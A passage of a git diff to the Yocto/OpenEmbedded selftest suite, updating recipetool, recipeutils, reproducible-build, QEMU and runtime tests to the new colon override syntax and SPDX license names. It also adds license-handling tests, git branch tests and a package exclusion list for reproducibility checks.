'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-scripted\n',
'}\n']
@@ -273,7 +272,7 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_inst_func(self):
# A file that's installed from a function called by do_install
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-func', self.testfile, '', expectedlines, ['selftest-replaceme-inst-func'])
self.assertNotIn('WARNING: ', output)
@@ -283,11 +282,11 @@ class RecipetoolTests(RecipetoolBase):
# First try without specifying recipe
self._try_recipetool_appendfile_fail('/usr/share/selftest-replaceme-postinst', self.testfile, ['File /usr/share/selftest-replaceme-postinst may be written out in a pre/postinstall script of the following recipes:', 'selftest-recipetool-appendfile'])
# Now specify recipe
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-postinst\n',
'}\n']
@@ -332,6 +331,9 @@ class RecipetoolTests(RecipetoolBase):
filename = try_appendfile_wc('-w')
self.assertEqual(filename, recipefn.split('_')[0] + '_%.bbappend')
+
+class RecipetoolCreateTests(RecipetoolBase):
+
def test_recipetool_create(self):
# Try adding a recipe
tempsrc = os.path.join(self.tempdir, 'srctree')
@@ -348,7 +350,7 @@ class RecipetoolTests(RecipetoolBase):
checkvars['SRC_URI[sha256sum]'] = '2e6a401cac9024db2288297e3be1a8ab60e7401ba8e91225218aaf4a27e82a07'
self._test_recipe_contents(recipefile, checkvars, [])
- def test_recipetool_create_git(self):
+ def test_recipetool_create_autotools(self):
if 'x11' not in get_bb_var('DISTRO_FEATURES'):
self.skipTest('Test requires x11 as distro feature')
# Ensure we have the right data in shlibs/pkgdata
@@ -365,7 +367,7 @@ class RecipetoolTests(RecipetoolBase):
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34'
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '1.11+git${SRCPV}'
- checkvars['SRC_URI'] = srcuri
+ checkvars['SRC_URI'] = srcuri + ';branch=master'
checkvars['DEPENDS'] = set(['libcheck', 'libjpeg-turbo', 'libpng', 'libx11', 'libxext', 'pango'])
inherits = ['autotools', 'pkgconfig']
self._test_recipe_contents(recipefile, checkvars, inherits)
@@ -374,7 +376,7 @@ class RecipetoolTests(RecipetoolBase):
# Try adding a recipe
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- pv = '1.7.3.0'
+ pv = '1.7.4.1'
srcuri = 'http://www.dest-unreach.org/socat/download/socat-%s.tar.bz2' % pv
result = runCmd('recipetool create %s -o %s' % (srcuri, temprecipe))
dirlist = os.listdir(temprecipe)
@@ -424,16 +426,16 @@ class RecipetoolTests(RecipetoolBase):
checkvars = {}
checkvars['SUMMARY'] = 'Node Server Example'
checkvars['HOMEPAGE'] = 'https://github.com/savoirfairelinux/node-server-example#readme'
- checkvars['LICENSE'] = set(['MIT', 'ISC', 'Unknown'])
+ checkvars['LICENSE'] = 'BSD-3-Clause & ISC & MIT & Unknown'
urls = []
urls.append('npm://registry.npmjs.org/;package=@savoirfairelinux/node-server-example;version=${PV}')
urls.append('npmsw://${THISDIR}/${BPN}/npm-shrinkwrap.json')
checkvars['SRC_URI'] = set(urls)
checkvars['S'] = '${WORKDIR}/npm'
- checkvars['LICENSE_${PN}'] = 'MIT'
- checkvars['LICENSE_${PN}-base64'] = 'Unknown'
- checkvars['LICENSE_${PN}-accepts'] = 'MIT'
- checkvars['LICENSE_${PN}-inherits'] = 'ISC'
+ checkvars['LICENSE:${PN}'] = 'MIT'
+ checkvars['LICENSE:${PN}-base64'] = 'Unknown'
+ checkvars['LICENSE:${PN}-accepts'] = 'MIT'
+ checkvars['LICENSE:${PN}-inherits'] = 'ISC'
inherits = ['npm']
self._test_recipe_contents(recipefile, checkvars, inherits)
@@ -447,7 +449,7 @@ class RecipetoolTests(RecipetoolBase):
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
checkvars['LICENSE'] = set(['Apache-2.0'])
- checkvars['SRC_URI'] = 'git://github.com/mesonbuild/meson;protocol=https'
+ checkvars['SRC_URI'] = 'git://github.com/mesonbuild/meson;protocol=https;branch=master'
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
@@ -481,7 +483,7 @@ class RecipetoolTests(RecipetoolBase):
result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = set(['PSF', '&', 'BSD', 'GPL'])
+ checkvars['LICENSE'] = 'BSD-3-Clause & GPL & PSF'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING.txt;md5=35a23d42b615470583563132872c97d6'
checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/84/f4/5771e41fdf52aabebbadecc9381d11dea0fa34e4759b4071244fa094804c/docutils-${PV}.tar.gz'
checkvars['SRC_URI[md5sum]'] = 'c53768d63db3873b7d452833553469de'
@@ -504,19 +506,48 @@ class RecipetoolTests(RecipetoolBase):
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
- def test_recipetool_create_git_http(self):
+ def _test_recipetool_create_git(self, srcuri, branch=None):
# Basic test to check http git URL mangling works
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- recipefile = os.path.join(temprecipe, 'matchbox-terminal_git.bb')
- srcuri = 'http://git.yoctoproject.org/git/matchbox-terminal'
- result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ name = srcuri.split(';')[0].split('/')[-1]
+ recipefile = os.path.join(temprecipe, name + '_git.bb')
+ options = ' -B %s' % branch if branch else ''
+ result = runCmd('recipetool create -o %s%s "%s"' % (temprecipe, options, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = set(['GPLv2'])
- checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/matchbox-terminal;protocol=http'
- inherits = ['pkgconfig', 'autotools']
- self._test_recipe_contents(recipefile, checkvars, inherits)
+ checkvars['SRC_URI'] = srcuri
+ for scheme in ['http', 'https']:
+ if srcuri.startswith(scheme + ":"):
+ checkvars['SRC_URI'] = 'git%s;protocol=%s' % (srcuri[len(scheme):], scheme)
+ if ';branch=' not in srcuri:
+ checkvars['SRC_URI'] += ';branch=' + (branch or 'master')
+ self._test_recipe_contents(recipefile, checkvars, [])
+
+ def test_recipetool_create_git_http(self):
+ self._test_recipetool_create_git('http://git.yoctoproject.org/git/matchbox-keyboard')
+
+ def test_recipetool_create_git_srcuri_master(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;branch=master')
+
+ def test_recipetool_create_git_srcuri_branch(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;branch=matchbox-keyboard-0-1')
+
+ def test_recipetool_create_git_srcbranch(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard', 'matchbox-keyboard-0-1')
+
+
+class RecipetoolTests(RecipetoolBase):
+
+ @classmethod
+ def setUpClass(cls):
+ import sys
+
+ super(RecipetoolTests, cls).setUpClass()
+ bb_vars = get_bb_vars(['BBPATH'])
+ cls.bbpath = bb_vars['BBPATH']
+ libpath = os.path.join(get_bb_var('COREBASE'), 'scripts', 'lib', 'recipetool')
+ sys.path.insert(0, libpath)
def _copy_file_with_cleanup(self, srcfile, basedstdir, *paths):
dstdir = basedstdir
@@ -561,6 +592,128 @@ class RecipetoolTests(RecipetoolBase):
with open(srcfile, 'w') as fh:
fh.writelines(plugincontent)
+ def test_recipetool_handle_license_vars(self):
+ from create import handle_license_vars
+ from unittest.mock import Mock
+
+ commonlicdir = get_bb_var('COMMON_LICENSE_DIR')
+
+ d = bb.tinfoil.TinfoilDataStoreConnector
+ d.getVar = Mock(return_value=commonlicdir)
+
+ srctree = tempfile.mkdtemp(prefix='recipetoolqa')
+ self.track_for_cleanup(srctree)
+
+ # Multiple licenses
+ licenses = ['MIT', 'ISC', 'BSD-3-Clause', 'Apache-2.0']
+ for licence in licenses:
+ shutil.copy(os.path.join(commonlicdir, licence), os.path.join(srctree, 'LICENSE.' + licence))
+ # Duplicate license
+ shutil.copy(os.path.join(commonlicdir, 'MIT'), os.path.join(srctree, 'LICENSE'))
+
+ extravalues = {
+ # Duplicate and missing licenses
+ 'LICENSE': 'Zlib & BSD-2-Clause & Zlib',
+ 'LIC_FILES_CHKSUM': [
+ 'file://README.md;md5=0123456789abcdef0123456789abcd'
+ ]
+ }
+ lines_before = []
+ handled = []
+ licvalues = handle_license_vars(srctree, lines_before, handled, extravalues, d)
+ expected_lines_before = [
+ '# WARNING: the following LICENSE and LIC_FILES_CHKSUM values are best guesses - it is',
+ '# your responsibility to verify that the values are complete and correct.',
+ '# NOTE: Original package / source metadata indicates license is: BSD-2-Clause & Zlib',
+ '#',
+ '# NOTE: multiple licenses have been detected; they have been separated with &',
+ '# in the LICENSE value for now since it is a reasonable assumption that all',
+ '# of the licenses apply. If instead there is a choice between the multiple',
+ '# licenses then you should change the value to separate the licenses with |',
+ '# instead of &. If there is any doubt, check the accompanying documentation',
+ '# to determine which situation is applicable.',
+ 'LICENSE = "Apache-2.0 & BSD-2-Clause & BSD-3-Clause & ISC & MIT & Zlib"',
+ 'LIC_FILES_CHKSUM = "file://LICENSE;md5=0835ade698e0bcf8506ecda2f7b4f302 \\\n'
+ ' file://LICENSE.Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10 \\\n'
+ ' file://LICENSE.BSD-3-Clause;md5=550794465ba0ec5312d6919e203a55f9 \\\n'
+ ' file://LICENSE.ISC;md5=f3b90e78ea0cffb20bf5cca7947a896d \\\n'
+ ' file://LICENSE.MIT;md5=0835ade698e0bcf8506ecda2f7b4f302 \\\n'
+ ' file://README.md;md5=0123456789abcdef0123456789abcd"',
+ ''
+ ]
+ self.assertEqual(lines_before, expected_lines_before)
+ expected_licvalues = [
+ ('MIT', 'LICENSE', '0835ade698e0bcf8506ecda2f7b4f302'),
+ ('Apache-2.0', 'LICENSE.Apache-2.0', '89aea4e17d99a7cacdbeed46a0096b10'),
+ ('BSD-3-Clause', 'LICENSE.BSD-3-Clause', '550794465ba0ec5312d6919e203a55f9'),
+ ('ISC', 'LICENSE.ISC', 'f3b90e78ea0cffb20bf5cca7947a896d'),
+ ('MIT', 'LICENSE.MIT', '0835ade698e0bcf8506ecda2f7b4f302')
+ ]
+ self.assertEqual(handled, [('license', expected_licvalues)])
+ self.assertEqual(extravalues, {})
+ self.assertEqual(licvalues, expected_licvalues)
+
+
+ def test_recipetool_split_pkg_licenses(self):
+ from create import split_pkg_licenses
+ licvalues = [
+ # Duplicate licenses
+ ('BSD-2-Clause', 'x/COPYING', None),
+ ('BSD-2-Clause', 'x/LICENSE', None),
+ # Multiple licenses
+ ('MIT', 'x/a/LICENSE.MIT', None),
+ ('ISC', 'x/a/LICENSE.ISC', None),
+ # Alternative licenses
+ ('(MIT | ISC)', 'x/b/LICENSE', None),
+ # Alternative licenses without brackets
+ ('MIT | BSD-2-Clause', 'x/c/LICENSE', None),
+ # Multi licenses with alternatives
+ ('MIT', 'x/d/COPYING', None),
+ ('MIT | BSD-2-Clause', 'x/d/LICENSE', None),
+ # Multi licenses with alternatives and brackets
+ ('Apache-2.0 & ((MIT | ISC) & BSD-3-Clause)', 'x/e/LICENSE', None)
+ ]
+ packages = {
+ '${PN}': '',
+ 'a': 'x/a',
+ 'b': 'x/b',
+ 'c': 'x/c',
+ 'd': 'x/d',
+ 'e': 'x/e',
+ 'f': 'x/f',
+ 'g': 'x/g',
+ }
+ fallback_licenses = {
+ # Ignored
+ 'a': 'BSD-3-Clause',
+ # Used
+ 'f': 'BSD-3-Clause'
+ }
+ outlines = []
+ outlicenses = split_pkg_licenses(licvalues, packages, outlines, fallback_licenses)
+ expected_outlicenses = {
+ '${PN}': ['BSD-2-Clause'],
+ 'a': ['ISC', 'MIT'],
+ 'b': ['(ISC | MIT)'],
+ 'c': ['(BSD-2-Clause | MIT)'],
+ 'd': ['(BSD-2-Clause | MIT)', 'MIT'],
+ 'e': ['(ISC | MIT)', 'Apache-2.0', 'BSD-3-Clause'],
+ 'f': ['BSD-3-Clause'],
+ 'g': ['Unknown']
+ }
+ self.assertEqual(outlicenses, expected_outlicenses)
+ expected_outlines = [
+ 'LICENSE:${PN} = "BSD-2-Clause"',
+ 'LICENSE:a = "ISC & MIT"',
+ 'LICENSE:b = "(ISC | MIT)"',
+ 'LICENSE:c = "(BSD-2-Clause | MIT)"',
+ 'LICENSE:d = "(BSD-2-Clause | MIT) & MIT"',
+ 'LICENSE:e = "(ISC | MIT) & Apache-2.0 & BSD-3-Clause"',
+ 'LICENSE:f = "BSD-3-Clause"',
+ 'LICENSE:g = "Unknown"'
+ ]
+ self.assertEqual(outlines, expected_outlines)
+
class RecipetoolAppendsrcBase(RecipetoolBase):
def _try_recipetool_appendsrcfile(self, testrecipe, newfile, destfile, options, expectedlines, expectedfiles):
@@ -620,7 +773,7 @@ class RecipetoolAppendsrcBase(RecipetoolBase):
else:
destpath = '.' + os.sep
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
if has_src_uri:
uri = 'file://%s' % filename
diff --git a/meta/lib/oeqa/selftest/cases/recipeutils.py b/meta/lib/oeqa/selftest/cases/recipeutils.py
index 747870383b..f1dd63f65b 100644
--- a/meta/lib/oeqa/selftest/cases/recipeutils.py
+++ b/meta/lib/oeqa/selftest/cases/recipeutils.py
@@ -40,7 +40,7 @@ class RecipeUtilsTests(OESelftestTestCase):
SUMMARY = "Python framework to process interdependent tasks in a pool of workers"
HOMEPAGE = "http://github.com/gitpython-developers/async"
SECTION = "devel/python"
--LICENSE = "BSD"
+-LICENSE = "BSD-3-Clause"
+LICENSE = "something"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=88df8e78b9edfd744953862179f2d14e"
@@ -52,7 +52,7 @@ class RecipeUtilsTests(OESelftestTestCase):
+SRC_URI[md5sum] = "aaaaaa"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
- RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+ RDEPENDS:${PN} += "${PYTHON_PN}-threading"
"""
patchlines = []
for f in patches:
@@ -80,7 +80,7 @@ class RecipeUtilsTests(OESelftestTestCase):
-SRC_URI += "file://somefile"
-
- SRC_URI_append = " file://anotherfile"
+ SRC_URI:append = " file://anotherfile"
"""
patchlines = []
for f in patches:
@@ -105,7 +105,7 @@ class RecipeUtilsTests(OESelftestTestCase):
-SRC_URI += "file://somefile"
-
--SRC_URI_append = " file://anotherfile"
+-SRC_URI:append = " file://anotherfile"
"""
patchlines = []
for f in patches:
diff --git a/meta/lib/oeqa/selftest/cases/reproducible.py b/meta/lib/oeqa/selftest/cases/reproducible.py
index a7ef336143..2e983d2f17 100644
--- a/meta/lib/oeqa/selftest/cases/reproducible.py
+++ b/meta/lib/oeqa/selftest/cases/reproducible.py
@@ -17,6 +17,36 @@ import stat
import os
import datetime
+# For sample packages, see:
+# https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20201127-0t7wr_oo/
+# https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20201127-4s9ejwyp/
+# https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20201127-haiwdlbr/
+# https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20201127-hwds3mcl/
+# https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20201203-sua0pzvc/
+# (both packages/ and packages-excluded/)
+
+# ruby-ri-docs, meson:
+#https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20210215-0_td9la2/packages/diff-html/
+# rust-llvm:
+#https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20210825-kaihham6/
+exclude_packages = [
+ 'glide',
+ 'go-helloworld',
+ 'go-runtime',
+ 'go_',
+ 'go-',
+ 'ruby-ri-docs',
+ 'rust-llvm-liblto',
+ 'rust-llvm-staticdev'
+ ]
+
+def is_excluded(package):
+ package_name = os.path.basename(package)
+ for i in exclude_packages:
+ if package_name.startswith(i):
+ return i
+ return None
+
MISSING = 'MISSING'
DIFFERENT = 'DIFFERENT'
SAME = 'SAME'
@@ -39,14 +69,21 @@ class PackageCompareResults(object):
self.total = []
self.missing = []
self.different = []
+ self.different_excluded = []
self.same = []
+ self.active_exclusions = set()
def add_result(self, r):
self.total.append(r)
if r.status == MISSING:
self.missing.append(r)
elif r.status == DIFFERENT:
- self.different.append(r)
+ exclusion = is_excluded(r.reference)
+ if exclusion:
+ self.different_excluded.append(r)
+ self.active_exclusions.add(exclusion)
+ else:
+ self.different.append(r)
else:
self.same.append(r)
@@ -54,10 +91,14 @@ class PackageCompareResults(object):
self.total.sort()
self.missing.sort()
self.different.sort()
+ self.different_excluded.sort()
self.same.sort()
def __str__(self):
- return 'same=%i different=%i missing=%i total=%i' % (len(self.same), len(self.different), len(self.missing), len(self.total))
+ return 'same=%i different=%i different_excluded=%i missing=%i total=%i\nunused_exclusions=%s' % (len(self.same), len(self.different), len(self.different_excluded), len(self.missing), len(self.total), self.unused_exclusions())
+
+ def unused_exclusions(self):
+ return sorted(set(exclude_packages) - self.active_exclusions)
def compare_file(reference, test, diffutils_sysroot):
result = CompareResult()
@@ -68,7 +109,7 @@ def compare_file(reference, test, diffutils_sysroot):
result.status = MISSING
return result
- r = runCmd(['cmp', '--quiet', reference, test], native_sysroot=diffutils_sysroot, ignore_status=True)
+ r = runCmd(['cmp', '--quiet', reference, test], native_sysroot=diffutils_sysroot, ignore_status=True, sync=False)
if r.status:
result.status = DIFFERENT
@@ -104,8 +145,14 @@ class DiffoscopeTests(OESelftestTestCase):
self.assertTrue(os.path.exists(os.path.join(tmpdir, 'index.html')), "HTML index not found!")
class ReproducibleTests(OESelftestTestCase):
- package_classes = ['deb', 'ipk']
- images = ['core-image-minimal', 'core-image-sato', 'core-image-full-cmdline']
+ # Test the reproducibility of whatever is built between sstate_targets and targets
+
+ package_classes = ['deb', 'ipk', 'rpm']
+
+ # targets are the things we want to test the reproducibility of
+ targets = ['core-image-minimal', 'core-image-sato', 'core-image-full-cmdline', 'core-image-weston', 'world']
+ # sstate targets are things to pull from sstate to potentially cut build/debugging time
+ sstate_targets = []
save_results = False
if 'OEQA_DEBUGGING_SAVED_OUTPUT' in os.environ:
save_results = os.environ['OEQA_DEBUGGING_SAVED_OUTPUT']
@@ -172,24 +219,36 @@ class ReproducibleTests(OESelftestTestCase):
bb.utils.remove(tmpdir, recurse=True)
config = textwrap.dedent('''\
- INHERIT += "reproducible_build"
PACKAGE_CLASSES = "{package_classes}"
INHIBIT_PACKAGE_STRIP = "1"
TMPDIR = "{tmpdir}"
+ LICENSE_FLAGS_WHITELIST = "commercial"
+ DISTRO_FEATURES:append = ' systemd pam'
+ USERADDEXTENSION = "useradd-staticids"
+ USERADD_ERROR_DYNAMIC = "skip"
+ USERADD_UID_TABLES += "files/static-passwd"
+ USERADD_GID_TABLES += "files/static-group"
''').format(package_classes=' '.join('package_%s' % c for c in self.package_classes),
tmpdir=tmpdir)
if not use_sstate:
+ if self.sstate_targets:
+ self.logger.info("Building prebuild for %s (sstate allowed)..." % (name))
+ self.write_config(config)
+ bitbake(' '.join(self.sstate_targets))
+
# This config fragment will disable using shared and the sstate
# mirror, forcing a complete build from scratch
config += textwrap.dedent('''\
SSTATE_DIR = "${TMPDIR}/sstate"
- SSTATE_MIRROR = ""
+ SSTATE_MIRRORS = ""
''')
+ self.logger.info("Building %s (sstate%s allowed)..." % (name, '' if use_sstate else ' NOT'))
self.write_config(config)
d = get_bb_vars(capture_vars)
- bitbake(' '.join(self.images))
+ # targets used to be called images
+ bitbake(' '.join(getattr(self, 'images', self.targets)))
return d
def test_reproducible_builds(self):
@@ -213,6 +272,7 @@ class ReproducibleTests(OESelftestTestCase):
self.logger.info('Non-reproducible packages will be copied to %s', save_dir)
vars_A = self.do_test_build('reproducibleA', self.build_from_sstate)
+
vars_B = self.do_test_build('reproducibleB', False)
# NOTE: The temp directories from the reproducible build are purposely
@@ -227,6 +287,7 @@ class ReproducibleTests(OESelftestTestCase):
deploy_A = vars_A['DEPLOY_DIR_' + c.upper()]
deploy_B = vars_B['DEPLOY_DIR_' + c.upper()]
+ self.logger.info('Checking %s packages for differences...' % c)
result = self.compare_packages(deploy_A, deploy_B, diffutils_sysroot)
self.logger.info('Reproducibility summary for %s: %s' % (c, result))
@@ -235,6 +296,7 @@ class ReproducibleTests(OESelftestTestCase):
self.write_package_list(package_class, 'missing', result.missing)
self.write_package_list(package_class, 'different', result.different)
+ self.write_package_list(package_class, 'different_excluded', result.different_excluded)
self.write_package_list(package_class, 'same', result.same)
if self.save_results:
@@ -242,8 +304,12 @@ class ReproducibleTests(OESelftestTestCase):
self.copy_file(d.reference, '/'.join([save_dir, 'packages', strip_topdir(d.reference)]))
self.copy_file(d.test, '/'.join([save_dir, 'packages', strip_topdir(d.test)]))
+ for d in result.different_excluded:
+ self.copy_file(d.reference, '/'.join([save_dir, 'packages-excluded', strip_topdir(d.reference)]))
+ self.copy_file(d.test, '/'.join([save_dir, 'packages-excluded', strip_topdir(d.test)]))
+
if result.missing or result.different:
- fails.append("The following %s packages are missing or different: %s" %
+ fails.append("The following %s packages are missing or different and not in exclusion list: %s" %
(c, '\n'.join(r.test for r in (result.missing + result.different))))
# Clean up empty directories
diff --git a/meta/lib/oeqa/selftest/cases/runcmd.py b/meta/lib/oeqa/selftest/cases/runcmd.py
index fa6113d7fa..e9612389fe 100644
--- a/meta/lib/oeqa/selftest/cases/runcmd.py
+++ b/meta/lib/oeqa/selftest/cases/runcmd.py
@@ -27,8 +27,8 @@ class RunCmdTests(OESelftestTestCase):
# The delta is intentionally smaller than the timeout, to detect cases where
# we incorrectly apply the timeout more than once.
- TIMEOUT = 5
- DELTA = 3
+ TIMEOUT = 10
+ DELTA = 8
def test_result_okay(self):
result = runCmd("true")
diff --git a/meta/lib/oeqa/selftest/cases/runqemu.py b/meta/lib/oeqa/selftest/cases/runqemu.py
index 7e676bcb41..da22f77b27 100644
--- a/meta/lib/oeqa/selftest/cases/runqemu.py
+++ b/meta/lib/oeqa/selftest/cases/runqemu.py
@@ -163,12 +163,11 @@ class QemuTest(OESelftestTestCase):
bitbake(cls.recipe)
def _start_qemu_shutdown_check_if_shutdown_succeeded(self, qemu, timeout):
+ # Allow the runner's LoggingThread instance to exit without errors
+ # (such as the exception "Console connection closed unexpectedly")
+ # as qemu will disappear when we shut it down
+ qemu.runner.allowexit()
qemu.run_serial("shutdown -h now")
- # Stop thread will stop the LoggingThread instance used for logging
- # qemu through serial console, stop thread will prevent this code
- # from facing exception (Console connection closed unexpectedly)
- # when qemu was shutdown by the above shutdown command
- qemu.runner.stop_thread()
time_track = 0
try:
while True:
diff --git a/meta/lib/oeqa/selftest/cases/runtime_test.py b/meta/lib/oeqa/selftest/cases/runtime_test.py
index 7189e4e6c5..a90f62bfe1 100644
--- a/meta/lib/oeqa/selftest/cases/runtime_test.py
+++ b/meta/lib/oeqa/selftest/cases/runtime_test.py
@@ -14,11 +14,6 @@ from oeqa.core.decorator.data import skipIfNotQemu
class TestExport(OESelftestTestCase):
- @classmethod
- def tearDownClass(cls):
- runCmd("rm -rf /tmp/sdk")
- super(TestExport, cls).tearDownClass()
-
def test_testexport_basic(self):
"""
Summary: Check basic testexport functionality with only ping test enabled.
@@ -95,19 +90,20 @@ class TestExport(OESelftestTestCase):
msg = "Couldn't find SDK tarball: %s" % tarball_path
self.assertEqual(os.path.isfile(tarball_path), True, msg)
- # Extract SDK and run tar from SDK
- result = runCmd("%s -y -d /tmp/sdk" % tarball_path)
- self.assertEqual(0, result.status, "Couldn't extract SDK")
+ with tempfile.TemporaryDirectory() as tmpdirname:
+ # Extract SDK and run tar from SDK
+ result = runCmd("%s -y -d %s" % (tarball_path, tmpdirname))
+ self.assertEqual(0, result.status, "Couldn't extract SDK")
- env_script = result.output.split()[-1]
- result = runCmd(". %s; which tar" % env_script, shell=True)
- self.assertEqual(0, result.status, "Couldn't setup SDK environment")
- is_sdk_tar = True if "/tmp/sdk" in result.output else False
- self.assertTrue(is_sdk_tar, "Couldn't setup SDK environment")
+ env_script = result.output.split()[-1]
+ result = runCmd(". %s; which tar" % env_script, shell=True)
+ self.assertEqual(0, result.status, "Couldn't setup SDK environment")
+ is_sdk_tar = True if tmpdirname in result.output else False
+ self.assertTrue(is_sdk_tar, "Couldn't setup SDK environment")
- tar_sdk = result.output
- result = runCmd("%s --version" % tar_sdk)
- self.assertEqual(0, result.status, "Couldn't run tar from SDK")
+ tar_sdk = result.output
+ result = runCmd("%s --version" % tar_sdk)
+ self.assertEqual(0, result.status, "Couldn't run tar from SDK")
class TestImage(OESelftestTestCase):
@@ -124,11 +120,10 @@ class TestImage(OESelftestTestCase):
self.skipTest('core-image-full-cmdline not buildable for poky-tiny')
features = 'INHERIT += "testimage"\n'
- features += 'IMAGE_INSTALL_append = " libssl"\n'
+ features += 'IMAGE_INSTALL:append = " libssl"\n'
features += 'TEST_SUITES = "ping ssh selftest"\n'
self.write_config(features)
- # Build core-image-sato and testimage
bitbake('core-image-full-cmdline socat')
bitbake('-c testimage core-image-full-cmdline')
@@ -164,7 +159,6 @@ class TestImage(OESelftestTestCase):
features += 'PSEUDO_IGNORE_PATHS .= ",%s"\n' % self.gpg_home
self.write_config(features)
- # Build core-image-sato and testimage
bitbake('core-image-full-cmdline socat')
bitbake('-c testimage core-image-full-cmdline')
@@ -192,14 +186,14 @@ class TestImage(OESelftestTestCase):
qemu_distrofeatures = get_bb_var('DISTRO_FEATURES', 'qemu-system-native')
features = 'INHERIT += "testimage"\n'
if 'gtk+' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " gtk+"\n'
+ features += 'PACKAGECONFIG:append:pn-qemu-system-native = " gtk+"\n'
if 'sdl' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " sdl"\n'
+ features += 'PACKAGECONFIG:append:pn-qemu-system-native = " sdl"\n'
if 'opengl' not in qemu_distrofeatures:
- features += 'DISTRO_FEATURES_append = " opengl"\n'
+ features += 'DISTRO_FEATURES:append = " opengl"\n'
features += 'TEST_SUITES = "ping ssh virgl"\n'
- features += 'IMAGE_FEATURES_append = " ssh-server-dropbear"\n'
- features += 'IMAGE_INSTALL_append = " kmscube"\n'
+ features += 'IMAGE_FEATURES:append = " ssh-server-dropbear"\n'
+ features += 'IMAGE_INSTALL:append = " kmscube"\n'
features_gtk = features + 'TEST_RUNQEMUPARAMS = "gtk gl"\n'
self.write_config(features_gtk)
bitbake('core-image-minimal')
@@ -218,23 +212,29 @@ class TestImage(OESelftestTestCase):
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
import subprocess, os
+
+ distro = oe.lsb.distro_identifier()
+ if distro and distro in ['debian-9', 'debian-10', 'centos-7', 'centos-8', 'ubuntu-16.04', 'ubuntu-18.04']:
+ self.skipTest('virgl headless cannot be tested with %s' %(distro))
+
+ render_hint = """If /dev/dri/renderD* is absent due to lack of suitable GPU, 'modprobe vgem' will create one sutable for mesa llvmpipe sofware renderer."""
try:
content = os.listdir("/dev/dri")
if len([i for i in content if i.startswith('render')]) == 0:
- self.skipTest("No render nodes found in /dev/dri: %s" %(content))
+ self.fail("No render nodes found in /dev/dri: %s. %s" %(content, render_hint))
except FileNotFoundError:
- self.skipTest("/dev/dri directory does not exist; no render nodes available on this machine.")
+ self.fail("/dev/dri directory does not exist; no render nodes available on this machine. %s" %(render_hint))
try:
dripath = subprocess.check_output("pkg-config --variable=dridriverdir dri", shell=True)
except subprocess.CalledProcessError as e:
- self.skipTest("Could not determine the path to dri drivers on the host via pkg-config.\nPlease install Mesa development files (particularly, dri.pc) on the host machine.")
+ self.fail("Could not determine the path to dri drivers on the host via pkg-config.\nPlease install Mesa development files (particularly, dri.pc) on the host machine.")
qemu_distrofeatures = get_bb_var('DISTRO_FEATURES', 'qemu-system-native')
features = 'INHERIT += "testimage"\n'
if 'opengl' not in qemu_distrofeatures:
- features += 'DISTRO_FEATURES_append = " opengl"\n'
+ features += 'DISTRO_FEATURES:append = " opengl"\n'
features += 'TEST_SUITES = "ping ssh virgl"\n'
- features += 'IMAGE_FEATURES_append = " ssh-server-dropbear"\n'
- features += 'IMAGE_INSTALL_append = " kmscube"\n'
+ features += 'IMAGE_FEATURES:append = " ssh-server-dropbear"\n'
+ features += 'IMAGE_INSTALL:append = " kmscube"\n'
features += 'TEST_RUNQEMUPARAMS = "egl-headless"\n'
self.write_config(features)
bitbake('core-image-minimal')
@@ -260,7 +260,7 @@ class Postinst(OESelftestTestCase):
features += 'IMAGE_FEATURES += "package-management empty-root-password"\n'
features += 'PACKAGE_CLASSES = "%s"\n' % classes
if init_manager == "systemd":
